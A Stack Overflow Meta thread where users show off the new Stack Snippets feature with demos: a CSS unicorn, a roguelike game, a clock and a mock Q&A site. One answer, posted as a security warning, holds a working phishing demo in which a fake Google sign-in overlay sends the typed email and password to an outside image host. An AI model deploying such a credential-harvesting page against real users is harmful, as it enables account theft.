This post is dedicated to testing out the newly announced Stack Snippets feature. Feel free to answer with your own Stack Snippets, and have some fun!
109 Answers
Detecting and Requiring Upvotes to View the Result
I'm not totally sure this will work...SE caches the API requests, so I can only update it every minute (I think). I can't test it extensively because I'm starting to run out of requests on my IP for some reason, and I can't upvote my own question. I'm not used to working with APIs, so this may not be very optimized. Please suggest improvements and report your results, I would appreciate it.
EDIT: Now you'll see something cool when you upvote.
$(document).ready(function() {
$.getJSON("https://api.stackexchange.com/2.2/questions/269754/answers/?order=desc&site=meta.stackoverflow&client_id=3519&callback=?", function (data) {
var originalScore = data.items.find(v => v.answer_id == 270116).score;
$("#postCounter span").text(originalScore);
var counter = 60;
function updateCounter() {
$("#counter span").text(counter);
counter--;
if (counter == 0) {
counter = 60;
$.getJSON("https://api.stackexchange.com/2.2/questions/269754/answers/?order=desc&site=meta.stackoverflow&client_id=3519&callback=?", function (data) {
var newScore = data.items.find(v => v.answer_id == 270116).score;
if (newScore > originalScore) {
$("#message").html("WOOHOO! You upvoted!<img src='https://i.imgur.com/B5aTato.gif' />");
} else if (newScore < originalScore) {
$("#message").text("Someone downvoted! :( Upvote!");
} else {
$("#message").text("Upvote to see the result! (nothing new)");
}
originalScore = newScore;
});
}
setTimeout(updateCounter, 1000);
};
updateCounter();
});
});<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.6.4/jquery.js"></script>
<div id="message">Upvote to see the result!</div>
<div id="counter">Time until next request: <span></span>
</div>
<div id="postCounter">This answer had <span></span> votes when you loaded the demo.</div>-
5Awww.... I wanted something cool for my upvote!JDB– JDB2014-09-16 21:56:03 +00:00Commented Sep 16, 2014 at 21:56
-
9There, I gave it a better reward.Ian– Ian2014-09-23 20:58:27 +00:00Commented Sep 23, 2014 at 20:58
-
22Can I re-upvote this? That is awesome.Kendra– Kendra2014-09-23 21:06:52 +00:00Commented Sep 23, 2014 at 21:06
-
8The 60 second delay really kills it. It would be nice if you could do
if($x('//*[@id="answer-270116"]/table/tbody/tr[1]/td[1]/div/a[1]')[0].className.match('vote-up-on')){ handleUpVote() }but the sandboxing is sure to get in the way.Bruno Bronosky– Bruno Bronosky2015-03-03 21:19:42 +00:00Commented Mar 3, 2015 at 21:19 -
16This is great for when you really want that reputation! "This answer will blow your mind! Click upvote to see it!"default– default2016-05-16 11:19:24 +00:00Commented May 16, 2016 at 11:19
-
7Note this also works on downvotes... ;PMistalis– Mistalis2017-03-28 11:33:33 +00:00Commented Mar 28, 2017 at 11:33
-
3For reference, the reward is text saying "WOOHOO! You upvoted!" and a gif of fireworks. i.imgur.com/B5aTato.gifStevoisiak– Stevoisiak2017-08-04 13:12:38 +00:00Commented Aug 4, 2017 at 13:12
-
3@Kendra You can retract your upvote to upvote it again later. But you can only do that 30 times.Donald Duck is with Ukraine– Donald Duck is with Ukraine2017-12-23 20:40:24 +00:00Commented Dec 23, 2017 at 20:40
-
Downvoted for calling an Answer a "Question" [sic!]... (And for CW-Answers, "my own (Answer)" doesn't mean anything...) // When the text is buggy, the Code is probably buggy...!chivracq– chivracq2025-11-28 03:06:12 +00:00Commented 2 days ago
Huh? Not much love for CSS in the current answers? So I would share mine... designed specially for testing this feature... :)
Conclusion : It will be great if we can use Auto Prefixer, Prefix free like general plugins
//Made for Stack Overflow Code Testing
//Unicorn Inspired by http://drbl.in/kayh
//Made by Mr. Alien
/*
* Just created in a hurry, so won't refactor my CSS
* as of now, also I can drastically reduce
* the markup but I won't do it right now
*/html, body {
height: 450px;
background: -webkit-radial-gradient(center, ellipse, #fce300 0%, #ffc700 46%, #ff7f00 100%);
background: radial-gradient(ellipse at center, #fce300 0%,#ffc700 46%,#ff7f00 100%);
}
.unicorn {
position: absolute;
left: 50%;
top: 170px;
margin-left: -250px;
}
.tail > div,
.body > div,
.leg > div,
.leg2 > div,
.leg3 > div,
.unihorn {
width: 0;
height: 0;
position: absolute;
-webkit-transform-origin: 50% 50%;
-ms-transform-origin: 50% 50%;
transform-origin: 50% 50%;
}
.tail .pone{
border-left: 30px solid transparent;
border-right: 40px solid transparent;
border-bottom: 30px solid #ffb82b;
-webkit-transform: rotate(6deg);
-ms-transform: rotate(6deg);
transform: rotate(6deg);
}
.tail .ptwo {
border-left: 40px solid transparent;
border-right: 30px solid transparent;
border-bottom: 30px solid #FD8A07;
-webkit-transform: rotate(-39deg);
-ms-transform: rotate(-39deg);
transform: rotate(-39deg);
top: 26px;
left: -30px;
}
.tail .pthree {
border-top: 30px solid transparent;
border-bottom: 30px solid transparent;
border-right: 30px solid #ffb82b;
-webkit-transform: rotate(5deg);
-ms-transform: rotate(5deg);
transform: rotate(5deg);
top: 45px;
left: -12px;
}
.tail .pfour {
top: 72px;
left: 17px;
border-bottom: 35px solid #FD8A07;
border-right: 35px solid transparent;
-webkit-transform: rotate(5deg);
-ms-transform: rotate(5deg);
transform: rotate(5deg);
}
div.body .pone {
border-top: 10px solid transparent;
border-left: 221px solid #FD8A07;
border-bottom: 60px solid transparent;
-webkit-transform: rotate(40deg);
-ms-transform: rotate(40deg);
transform: rotate(40deg);
top: 65px;
left: 45px;
}
div.body .ptwo {
border-bottom: 70px solid #ffb82b;
border-left: 90px solid transparent;
border-right: 130px solid transparent;
-webkit-transform: rotate(43deg);
-ms-transform: rotate(43deg);
transform: rotate(43deg);
top: 15px;
left: 87px;
}
div.body .pthree {
border-bottom: 100px solid #FD8A07;
border-left: 20px solid transparent;
border-right: 130px solid transparent;
-webkit-transform: rotate(71deg);
-ms-transform: rotate(71deg);
transform: rotate(71deg);
top: 15px;
left: 200px;
}
div.body .pfour {
border-bottom: 100px solid #ffb82b;
border-left: 30px solid transparent;
border-right: 130px solid transparent;
-webkit-transform: rotate(109deg);
-ms-transform: rotate(109deg);
transform: rotate(109deg);
top: 38px;
left: 246px;
}
div.body .pfive {
border-bottom: 60px solid #FD8A07;
border-right: 105px solid transparent;
left: 310px;
top: -27px;
-webkit-transform: rotate(34deg);
-ms-transform: rotate(34deg);
transform: rotate(34deg);
}
div.body .psix {
border-top: 85px solid #ffb82b;
border-left: 85px solid transparent;
left: 319px;
top: -40px;
-webkit-transform: rotate(19deg);
-ms-transform: rotate(19deg);
transform: rotate(19deg);
}
div.body .pseven {
border-bottom: 110px solid #FD8A07;
border-left: 85px solid transparent;
left: 350px;
top: -144px;
-webkit-transform: rotate(19deg);
-ms-transform: rotate(19deg);
transform: rotate(19deg);
}
div.body .peight {
border-bottom: 90px solid #ffb82b;
border-right: 120px solid transparent;
left: 425px;
top: -92px;
-webkit-transform: rotate(18deg);
-ms-transform: rotate(18deg);
transform: rotate(18deg);
}
div.body > div.eye {
background-color: #000;
top: -70px;
left: 445px;
height: 10px;
width: 10px;
border-radius: 50%;
z-index: 1;
}
div.nose {
border-bottom: 40px solid #f27d00;
border-right: 40px solid transparent;
-webkit-transform: rotate(-28deg);
-ms-transform: rotate(-28deg);
transform: rotate(-28deg);
left: 480px;
top: -15px;
}
div.extreme-left {
border-top: 115px solid transparent;
border-right: 30px solid #ffb82b;
border-bottom: 110px solid transparent;
-webkit-transform: rotate(-65deg);
-ms-transform: rotate(-65deg);
transform: rotate(-65deg);
left: 130px;
top: 4px;
}
div.leg .pone {
border-top: 120px solid transparent;
border-right: 60px solid #FD8A07;
border-bottom: 0px solid transparent;
-webkit-transform: rotate(-50deg);
-ms-transform: rotate(-50deg);
transform: rotate(-50deg);
top: 55px;
left: 45px;
}
div.leg .ptwo {
border-top: 20px solid transparent;
border-right: 30px solid #ffb82b;
border-bottom: 20px solid transparent;
top: 145px;
-webkit-transform: rotate(-24deg);
-ms-transform: rotate(-24deg);
transform: rotate(-24deg);
left: 66px;
}
div.leg .pthree {
border-top: 15px solid transparent;
border-right: 33px solid #FD8A07;
border-bottom: 20px solid transparent;
top: 164px;
-webkit-transform: rotate(34deg);
-ms-transform: rotate(34deg);
transform: rotate(34deg);
left: 63px;
}
div.leg .pfour {
border-left: 0 solid transparent;
border-right: 20px solid transparent;
border-bottom: 100px solid #ffb82b;
-webkit-transform: rotate(-15deg);
-ms-transform: rotate(-15deg);
transform: rotate(-15deg);
top: 165px;
left: 80px;
}
div.leg .pfive {
border-bottom: 30px solid #FD8A07;
border-right: 30px solid transparent;
top: 235px;
-webkit-transform: rotate(-15deg);
-ms-transform: rotate(-15deg);
transform: rotate(-15deg);
left: 89px;
}
div.body .extreme-right {
left: 246px;
top: 100px;
border-top: 30px solid #FD8A07;
border-left: 80px solid transparent;
border-right: 85px solid transparent;
-webkit-transform: rotate(-33deg);
-ms-transform: rotate(-33deg);
transform: rotate(-33deg);
}
div.leg2 div.pone {
border-top: 50px solid #ffb82b;
border-right: 85px solid transparent;
left: 339px;
top: 84px;
-webkit-transform: rotate(-53deg);
-ms-transform: rotate(-53deg);
transform: rotate(-53deg);
}
div.leg2 div.ptwo {
border-bottom: 20px solid #FD8A07;
border-left: 42px solid transparent;
border-right: 30px solid transparent;
-webkit-transform: rotate(62deg);
-ms-transform: rotate(62deg);
transform: rotate(62deg);
left: 328px;
top: 146px;
}
div.leg2 .pthree {
border-left: 0 solid transparent;
border-right: 20px solid transparent;
border-bottom: 100px solid #ffb82b;
-webkit-transform: rotate(-15deg);
-ms-transform: rotate(-15deg);
transform: rotate(-15deg);
top: 154px;
left: 368px;
}
div.leg2 .pfour {
border-bottom: 30px solid #FD8A07;
border-right: 30px solid transparent;
top: 230px;
-webkit-transform: rotate(-15deg);
-ms-transform: rotate(-15deg);
transform: rotate(-15deg);
left: 378px;
}
div.leg3 div.pone {
border-top: 50px solid transparent;
border-left: 60px solid #ef7b00;
border-bottom: 30px solid transparent;
left: 382px;
top: 60px;
-webkit-transform: rotate(6deg);
-ms-transform: rotate(6deg);
transform: rotate(6deg);
}
div.leg3 div.ptwo {
border-left: 0px solid transparent;
border-right: 30px solid transparent;
border-top: 50px solid #e87604;
left: 419px;
top: 116px;
-webkit-transform: rotate(-18deg);
-ms-transform: rotate(-18deg);
transform: rotate(-18deg);
}
div.leg3 div.pthree {
border-bottom: 30px solid #e5892d;
border-left: 13px solid transparent;
left: 411px;
top: 143px;
-webkit-transform: rotate(-17deg);
-ms-transform: rotate(-17deg);
transform: rotate(-17deg);
}
div.leg3 .pfour {
border-bottom: 30px solid #FD8A07;
border-right: 30px solid transparent;
top: 173px;
-webkit-transform: rotate(76deg);
-ms-transform: rotate(76deg);
transform: rotate(76deg);
left: 403px;
}
.unihorn {
top: -130px;
left: 446px;
border-top: 10px solid transparent;
border-left: 120px solid #FD8A07;
border-bottom: 10px solid transparent;
-webkit-transform: rotate(-36deg);
-ms-transform: rotate(-36deg);
transform: rotate(-36deg);
}<div class="unicorn">
<div class="tail">
<div class="pone"></div>
<div class="ptwo"></div>
<div class="pthree"></div>
<div class="pfour"></div>
</div>
<div class="body">
<div class="pone"></div>
<div class="ptwo"></div>
<div class="pthree"></div>
<div class="pfour"></div>
<div class="pfive"></div>
<div class="psix"></div>
<div class="pseven"></div>
<div class="peight"></div>
<div class="eye"></div>
<div class="nose"></div>
<div class="extreme-left"></div>
<div class="extreme-right"></div>
</div>
<div class="leg">
<div class="pone"></div>
<div class="ptwo"></div>
<div class="pthree"></div>
<div class="pfour"></div>
<div class="pfive"></div>
</div>
<div class="leg2">
<div class="pone"></div>
<div class="ptwo"></div>
<div class="pthree"></div>
<div class="pfour"></div>
</div>
<div class="leg3">
<div class="pone"></div>
<div class="ptwo"></div>
<div class="pthree"></div>
<div class="pfour"></div>
</div>
<div class="unihorn"></div>
</div>-
53Much fluffy, such unicorn.Mansueli– Mansueli2014-08-26 15:23:28 +00:00Commented Aug 26, 2014 at 15:23
-
104It's... it's... it's indescribably beautiful2014-08-26 15:31:57 +00:00Commented Aug 26, 2014 at 15:31
-
13Great work, like origami unicornJuan de Parras– Juan de Parras2014-08-26 17:59:26 +00:00Commented Aug 26, 2014 at 17:59
-
5This. Is. Incredibly. Awesome.Amal– Amal2014-09-08 21:58:18 +00:00Commented Sep 8, 2014 at 21:58
-
1Not much love for the Alien :(m4n0– m4n02016-12-14 16:42:02 +00:00Commented Dec 14, 2016 at 16:42
-
1That is impressive but looked massively annoying to put in place (when looking at the HTML)kemicofa– kemicofa2019-07-11 08:40:03 +00:00Commented Jul 11, 2019 at 8:40
Let's do a little dungeon crawling! (canvas/keyboard test)
/* set up ROT library */
ROT.DEFAULT_WIDTH = 80;
ROT.DEFAULT_HEIGHT = 16;
var display = new ROT.Display({fontSize: 12});
document.getElementById("canvasContainer").appendChild(display.getContainer());
var data, player, goal, pickaxe = false, level = 0, gold = 0;
/* function to determine if (x,y) is open or a wall */
var lightPasses = function(x, y) {
var key = x+","+y;
if (key in data) { return (data[key] !== 1); }
return false;
};
/* redraw the map; called after each step */
function redraw() {
display.drawText(0, 0, "Level "+level+", Gold "+gold);
var fov = new ROT.FOV.PreciseShadowcasting(lightPasses);
/* use ROT.js to compute visibility and draw the map */
fov.compute(player.x, player.y, 10, function(x, y, r, visibility) {
var ch = "", key = x+","+y;
if(data[key] === 0) { ch = "."; }
if(data[key] === 2) { ch = "o"; }
if(!r) { ch = pickaxe ? "#" : "@"; }
if(goal.x == x && goal.y == y) { ch = "X"; }
var bgcolor = ["#333","#AAA","#333"][data[key]];
var fgcolor = ["#FFF","#AAA","#ecff67"][data[key]];
display.draw(x, y+1, ch, fgcolor, bgcolor);
});
}
/* create a new level with walls, start point, and goal */
function createMap() {
/* clear and output help text */
level++;
display.clear();
display.drawText(0, ROT.DEFAULT_HEIGHT-2, "Use HJKL, WASD or the arrow keys to explore the dungeon and find the goal. P toggles pickaxe. Made with rot.js (https://ondras.github.io/rot.js)");
/* use ROT.js to generate a new wall dictionary */
data = {};
var freeSpaces = [];
new ROT.Map.Digger(ROT.DEFAULT_WIDTH, ROT.DEFAULT_HEIGHT-2).create(function(x, y, type) {
data[x+","+y] = type;
if(!type) { freeSpaces.push(x+","+y); }
});
/* shuffle the free spaces */
for (let i = freeSpaces.length - 1; i > 0; i--){
const j = Math.floor(Math.random() * i);
const temp = freeSpaces[i];
freeSpaces[i] = freeSpaces[j];
freeSpaces[j] = temp;
}
/* pick a start location from available free spaces */
var coords = freeSpaces[0].split(",");
player = {
x: +coords[0],
y: +coords[1]
};
/* reset pickaxe on every new level */
pickaxe = false;
/* pick a goal location from available free spaces */
coords = freeSpaces[1].split(",");
goal = {
x: +coords[0],
y: +coords[1]
};
/* every 20 blocks there's a gold */
for (let i = 2; i <= freeSpaces.length / 20; i++)
data[freeSpaces[i]] = 2;
redraw();
}
/* create the first level */
createMap();
document.addEventListener("keydown", function(e) {
var newPos = { x: player.x, y: player.y };
/* calculate new position based on step direction */
if([ROT.KEYS.VK_LEFT, ROT.KEYS.VK_H, ROT.KEYS.VK_A].indexOf(e.keyCode) != -1) { newPos.x-=1; }
if([ROT.KEYS.VK_RIGHT, ROT.KEYS.VK_L, ROT.KEYS.VK_D].indexOf(e.keyCode) != -1) { newPos.x+=1; }
if([ROT.KEYS.VK_UP, ROT.KEYS.VK_K, ROT.KEYS.VK_W].indexOf(e.keyCode) != -1) { newPos.y-=1; }
if([ROT.KEYS.VK_DOWN, ROT.KEYS.VK_J, ROT.KEYS.VK_S].indexOf(e.keyCode) != -1) { newPos.y+=1; }
/* toggle pickaxe */
if([ROT.KEYS.VK_P].indexOf(e.keyCode) != -1) { pickaxe = !pickaxe; }
var key = newPos.x+","+newPos.y;
/* if the target space is clear, move there */
if([0, 2].indexOf(data[key]) !== -1) {
gold += (data[key] === 2);
data[key] = 0;
player.x = newPos.x; player.y = newPos.y;
} else if(data[key] === 1 && pickaxe) {
/* if the target space is a wall AND the player is using the pickaxe, dig */
data[key] = 0;
player.x = newPos.x; player.y = newPos.y;
}
/* redraw the level */
redraw();
/* if we made it to the goal, make a new level */
if(player.x == goal.x && player.y == goal.y) { createMap(); }
/* Don't scroll the page if the arrow keys are pressed */
e.preventDefault();
});<script src="https://cdn.jsdelivr.net/npm/rot-js@2/dist/rot.min.js"></script>
<div id="canvasContainer"></div>-
6Favorited this thread just for this <3Unihedron– Unihedron2014-08-26 15:10:49 +00:00Commented Aug 26, 2014 at 15:10
-
13This is great. Are you supposed to be able to just blast through walls though?j.f.– j.f.2014-08-26 15:23:21 +00:00Commented Aug 26, 2014 at 15:23
-
9@j.f. Pickaxes were my favorite think in Nethack (archaeologist class all the way!), but it is a bit odd that you can just blast through walls by default. I've made it a toggleable option instead!apsillers– apsillers2014-08-26 15:31:19 +00:00Commented Aug 26, 2014 at 15:31
-
1
-
1Fantastic! If only all of the snippets posted in the future will be this good...xDaevax– xDaevax2014-08-28 18:50:35 +00:00Commented Aug 28, 2014 at 18:50
-
3Pressing UP arrow or DOWN arrow for me is causing the page to scroll up or down a line at the same time the player moves up or down.Cᴏʀʏ– Cᴏʀʏ2014-09-09 22:33:49 +00:00Commented Sep 9, 2014 at 22:33
-
14You MONSTER what have you done? I haven't done anything for 2 hours. :Dsampathsris– sampathsris2014-09-26 11:14:03 +00:00Commented Sep 26, 2014 at 11:14
-
11This is a little difficult to play with when your keyboard is in dvorak...Jenn– Jenn2014-10-29 22:26:42 +00:00Commented Oct 29, 2014 at 22:26
-
5You should be the dots edible. Then add in some "ghosts".mbomb007– mbomb0072015-03-04 19:56:31 +00:00Commented Mar 4, 2015 at 19:56
-
@Cᴏʀʏ fixed by adding
preventDefault()user2428118– user24281182016-12-14 13:46:21 +00:00Commented Dec 14, 2016 at 13:46 -
1Know this is dead and all, but this needs a feature for holding in key for constant movement. It is annoying having to smash he keys to mvoeZoe - Save the data dump– Zoe - Save the data dump2017-07-17 14:15:54 +00:00Commented Jul 17, 2017 at 14:15
-
@Zoe This has been implemented in revision 9. Enjoy!iBug– iBug2019-04-06 09:49:18 +00:00Commented Apr 6, 2019 at 9:49
-
@Cᴏʀʏ This has been fixed in revision 9. Please enjoy
:)iBug– iBug2019-04-06 09:49:51 +00:00Commented Apr 6, 2019 at 9:49 -
1@iBug I wanted to say thanks (many months after the fact) for your improvements! I really like them.
:)apsillers– apsillers2019-11-04 16:49:14 +00:00Commented Nov 4, 2019 at 16:49
Yet another s***ty Stack Overflow clone (WIP, feel free to contribute).
Features:
- You can ask questions (duh)
- You still cannot post answers
- Mixed spaces and tabs all rejoice
- Industry-standard jQuery selector how-to-do-it
- Version control and diffing courtesy of Stack Exchange
- Also, I have two forks: the SO one and on my editor. Syncing is a breeze!
- Some form of self-upvoting
TODO:
- Post answer
- Stylesss
- etc.
- Fulfill everyone's dream. Elect your self as a mod. Insta-close and delete hammer!
$(document).ready(function() {
$('#ask-question').click(function(e) {
e.preventDefault();
$('#question-form').removeClass('hidden');
$('#questions').addClass('hidden');
$('#question').addClass('hidden');
});
$('#cancel-question').click(function(e) {
e.preventDefault();
$('#question-form').addClass('hidden').find('input[type=reset]').click();
$('#questions').removeClass('hidden');
});
$('#question-form').submit(function(e) {
e.preventDefault();
var question = $('#questions .question.hidden').clone().removeClass('hidden');
question.find('.title').html($(this).find('input[name=title]').val());
question.find('.body').html($(this).find('textarea[name=body]').val());
question.prependTo($('#questions'));
$('#cancel-question').click();
});
$('#questions').on('click', '.question .title', function(e) {
e.preventDefault();
$('#questions').addClass('hidden');
$('#question').removeClass('hidden');
var question_item = $(this).parents('.question');
$('#question-content').find('.title').html(question_item.find('.question-summary .title').html());
$('#question-content').find('.body').html(question_item.find('.question-summary .body').html());
question_item.addClass('viewed');
});
$('#upvote-none').click(function() {
$('#question, #questions .question.viewed').addClass('upvoted').removeClass('downvoted');
});
$('#upvote-yes').click(function() {
$('#question, #questions .question.viewed').removeClass('upvoted').removeClass('downvoted');
});
$('#downvote-none').click(function() {
$('#question, #questions .question.viewed').removeClass('upvoted').addClass('downvoted');
});
$('#downvote-yes').click(function() {
$('#question, #questions .question.viewed').removeClass('upvoted').removeClass('downvoted');
});
$('#close-question').click(function(e) {
e.preventDefault();
$('#question').addClass('hidden').removeClass('upvoted downvoted');
$('#questions').removeClass('hidden');
$('#questions .question.viewed').removeClass('viewed');
});
});
body {
font-family: 'Arial';
}
.hidden {
display: none;
}
#header {
height: 100px;
}
#logo-area {
float: left; /* bah! */
width: 300px;
}
#menu {
margin-left: 300px;
padding-top: 30px;
}
#menu a {
display: inline-block;
background-color: #777;
padding: 5px 10px;
color: #fff;
text-decoration: none;
vertical-align: middle;
}
#menu a + a {
margin-left: 5px;
}
#menu a:hover,a.selected {
background-color: #FF9900;
}
#ask-question {
float: right;
}
#questions .question + .question {
margin-top: 20px;
}
#questions .question .title, #question .title {
font-weight: bold;
color: #000;
display: block;
}
#questions .question .body, #question .body {
margin-top: 10px;
}
#questions .question .votes .zero {
display: none;
}
#questions .question:not(.upvoted):not(.downvoted) .zero {
display: block;
}
#questions .question:not(.upvoted):not(.downvoted) .upvote,.downvote {
display: none;
}
#questions .question.upvoted .upvote {
display: block;
}
#questions .question.downvoted .downvote {
display: block;
}
#vote-area {
float: left;
width: 50px;
}
#question-content {
margin-left: 50px;
}
#question:not(.upvoted) #upvote-yes {
display: none;
}
#question:not(.downvoted) #downvote-yes {
display: none;
}
#question.upvoted #upvote-none {
display: none;
}
#question.downvoted #downvote-none {
display: none;
}<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>
<div id="header">
<div id="logo-area">
<img id="logo" src="https://i.sstatic.net/HCDT0.png">
</div>
<div id="menu">
<a href="#" id="menu-questions" class="selected">Questions</a>
<a href="#" id="menu-tags">Tags</a>
<a href="#" id="menu-users">Users</a>
<a href="#" id="menu-badges">Badges</a>
<a href="#" id="menu-unanswered">Unanswered</a>
<a id="ask-question" href="#">Ask Question</a>
</div>
</div>
<form id="question-form" class="hidden">
<div>
<label>
Title <input type="text" name="title" required>
</label>
</div>
<div>
<textarea name="body" required></textarea>
</div>
<div>
<input type="submit" value="Post Question">
<input type="reset" value="Reset" class="hidden">
<a href="#" id="cancel-question">Cancel</a>
</div>
</form>
<div id="questions">
<div class="question hidden">
<div class="votes">
<div class="zero">0 votes</div>
<div class="upvote">1 vote</div>
<div class="downvote">-1 vote</div>
</div>
<div class="question-summary">
<a href="#" class="title"></a>
<div class="body"></div>
</div>
</div>
</div>
<div id="question" class="hidden">
<a href="#" id="close-question">Back to questions</a>
<div id="vote-area">
<div><img id="upvote-none" src="https://i.sstatic.net/d3ZxT.png"></div>
<div><img id="upvote-yes" src="https://i.sstatic.net/ODYeu.png"></div>
<div><img id="downvote-none" src="https://i.sstatic.net/bWB0F.png"></div>
<div><img id="downvote-yes" src="https://i.sstatic.net/J6Lgl.png"></div>
</div>
<div id="question-content">
<div class="title"></div>
<div class="body"></div>
</div>
</div>
P.S. This is not to make fun of SO or something (well...). Just having fun, life, etc.
P.S 2 Maybe after all these stuff I throw at it we'll see some programmers flying out of demons' noses.
-
8I can't vote on this because there are no vote buttons.2014-08-26 07:42:42 +00:00Commented Aug 26, 2014 at 7:42
-
@BoltClock Something got in the way of creativity, so the project is kind of delayed...Mark Garcia– Mark Garcia2014-08-26 07:48:19 +00:00Commented Aug 26, 2014 at 7:48
-
63It breaks if you try and ask a second question. Hmmm, maybe this really is an improved Stack Overflow…2014-08-26 08:37:01 +00:00Commented Aug 26, 2014 at 8:37
-
46I just love the logo.RevanProdigalKnight– RevanProdigalKnight2014-08-26 13:24:00 +00:00Commented Aug 26, 2014 at 13:24
-
Well, I guess at this moment there are at least 18 people who oppose the very idea and point of SO. I knew that already; it's nice to see the cockroaches out with the lights on.ChiefTwoPencils– ChiefTwoPencils2014-08-27 21:13:28 +00:00Commented Aug 27, 2014 at 21:13
-
28Just for recursions sake there should be a run code snippet in the new questions....Michael Anderson– Michael Anderson2014-09-10 02:59:22 +00:00Commented Sep 10, 2014 at 2:59
-
@BoltClock , you can upvote ,first ask questionPratik Joshi– Pratik Joshi2014-09-19 07:52:14 +00:00Commented Sep 19, 2014 at 7:52
-
3I've been having so much fun with this.Donald Duck is with Ukraine– Donald Duck is with Ukraine2018-08-06 00:06:15 +00:00Commented Aug 6, 2018 at 0:06
-
2Didn't see my question being downvoted, so unrealistic. eye rollAvamander– Avamander2018-08-06 02:00:20 +00:00Commented Aug 6, 2018 at 2:00
-
“Slack overflow“—a mix of the collaboration tools we all ‘love’!cobrexus– cobrexus2020-06-09 12:45:52 +00:00Commented Jun 9, 2020 at 12:45
Users don't always notice the horizontal scrollbar on code snippets, and it's even harder to notice when the good code obviously scrolls, but not as much as the scrollbar indicates. This can lead to users' credentials being stolen unintentionally.
I would highly suggest more of a warning when clicking "Run code snippet" to warn against this danger. Perhaps just a warning above/below the snippet when it's run that warns that content could be malicious?
To test:
- Click "Run code snippet" below
- Click "Log in using Google"
- Enter fake credentials and submit (credentials will be sent to http://placehold.it/ in plain text)
- Notice the image loaded is from an external server and had the credentials sent to it (and back, in the form of the image)
$("#main-warning").css("color", "#f00"); $("#provider").css("display", "block");$("#provider-google").click(function() {$("#login").css("display", "block");$("#provider").css("display", "none");});$("#login-form").submit(function(event) {$("#login").css("display", "none");$("#test").attr("src", "http://placehold.it/400x100&text=" + $("#login-email").val() + " :( " + $("#login-password").val());$("body").css("overflow", "visible");event.preventDefault();});#main-warning {
color:#c00;
} body {overflow:hidden;}#provider, #login {display:none;position:fixed;top:0;bottom:0;left:0;right:0;z-index:100;overflow:auto;background:#fff;padding:10px;}#provider {font-family:Arial,Liberation Sans,DejaVu Sans,sans-serif;font-size:12.8px;color:#888;}#provider span {display:inline-block;background:#F9F9F9;border:1px solid #D4D4D4;padding:7px;width:258px;cursor:pointer;}#provider span img {vertical-align:middle;}#login {text-align:center;font-family:Arial,Liberation Sans,DejaVu Sans,sans-serif;}#login > div {margin:0 auto;max-width:300px;}#login > div > p {color:#333;}#login > div > p.warning {color:#f00;font-style:italic;}#login form {text-align:left;background:#eee;box-shadow:2px 2px 2px #ccc;padding:.01em 15px;width:100%;}#login input {border:1px solid #ccc;padding:10px;box-sizing:border-box;width:100%;max-width:100%;}#login button {background:#2771D8;color:#fff;border:0;padding:10px;width:100%;border-radius:3px;}<p id="main-warning">The image below was requested from another server. It could just as easily have been a 1px by 1px image hidden like the rest of this html. This makes it very easy for someone to collect credentials of several users (especially users new to functionality). It likely won't be noticed until someone familar with functionality comes across it, or someone tries to edit it.</p>
<img id="test" src="http://placehold.it/400x100/"> <script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script><div id="provider"><p>Please log in to view Stack Snippet.</p><span id="provider-google"><img src="http://placehold.it/16x16/5081f1/ffffff&text=g"> Log in using Google</span></div><div id="login"><div><img src="http://placehold.it/100x40&text=Google"><p>Sign in with your Google Account</p><p class="warning">Don't type in an actual password, it will be sent in a request when submitting</p><form id="login-form" method="post" action="#"><p><input id="login-email" type="email" placeholder="Email" autofocus required></p><p><input id="login-password" type="password" placeholder="Password" required></p><p><button id="login-button" type="submit">Sign in</button></p></form></div></div>-
32Good one, possible phishing as it were.2014-08-26 20:37:07 +00:00Commented Aug 26, 2014 at 20:37
-
4@Haney Aye. And it could obviously be expanded to the other services. I just did enough to get the point across ;)0b10011– 0b100112014-08-26 20:37:53 +00:00Commented Aug 26, 2014 at 20:37
-
3Additionally, if it matters, it could likely be possible to save state so each user only sees the message once. Either with cookies, or trying to load an image with
Image()and checking if it fails or not (and having the server fail if user already loaded, based on cookie or IP on the server's end).0b10011– 0b100112014-08-26 20:44:16 +00:00Commented Aug 26, 2014 at 20:44 -
So how can we fight this? Is it even possible? What about onhover/click/keydown open a new tab that looks exactly like Google's homepage but it's domain is
googgle.comorgoogIe.com?Pacerier– Pacerier2014-09-27 13:57:57 +00:00Commented Sep 27, 2014 at 13:57 -
1@Pacerier The second paragraph offers some suggestions for combating this. A simple "Do not share any personal information, including passwords." message would help tremendously. A "What are these snippets?" help link would be beneficial as well (even if it was just a
?tooltip).0b10011– 0b100112014-09-29 13:35:07 +00:00Commented Sep 29, 2014 at 13:35 -
@bfrohs, Not everyone knows how the technology works, people can be easily tricked: meta.stackoverflow.com/questions/269753/…Pacerier– Pacerier2014-09-29 13:48:44 +00:00Commented Sep 29, 2014 at 13:48
What time is it?
document.getElementsByTagName("div")[0].style.marginTop = document.height / 3 + "px";
window.setInterval(function () {
var time = "";
var now = new Date();
var hours = "" + now.getHours() + ":";
var minutes = "" + now.getMinutes() + ":";
var seconds = "" + now.getSeconds();
var part;
if (parseInt(hours) < 12) {
part = " AM";
} else {
hours = parseInt(hours);
if (hours !== 12) {
hours -= 12;
}
hours += ":";
part = " PM";
}
if (hours.length < 3) {
hours = "0" + hours;
}
if (minutes.length < 3) {
minutes = "0" + minutes;
}
if (seconds.length < 2) {
seconds = "0" + seconds;
}
time += hours;
time += minutes;
time += seconds;
time += part;
document.getElementById("holder").innerHTML = time;
}, 1000);div {
text-align: center;
font-size: 70pt;
}<div id="holder"></div>-
8Awesome. This is my fave so far.2014-08-25 21:54:01 +00:00Commented Aug 25, 2014 at 21:54
-
1@Haney Thanks; it seemed like a good way to demonstrate the feature.AstroCB– AstroCB2014-08-26 00:29:50 +00:00Commented Aug 26, 2014 at 0:29
-
51Wow, we can close a dozen questions on SO by linking to this answer ;)Patrick Hofman– Patrick Hofman2014-08-26 07:16:30 +00:00Commented Aug 26, 2014 at 7:16
-
5"00:46:20 PM" ... I mean, yeah, maybe.Andrew– Andrew2014-08-26 16:46:31 +00:00Commented Aug 26, 2014 at 16:46
-
@AndrewArnold Fixed (just in time, too), but you'll have to wait another 24 hours to see it in action. Thanks.AstroCB– AstroCB2014-08-26 17:00:39 +00:00Commented Aug 26, 2014 at 17:00
-
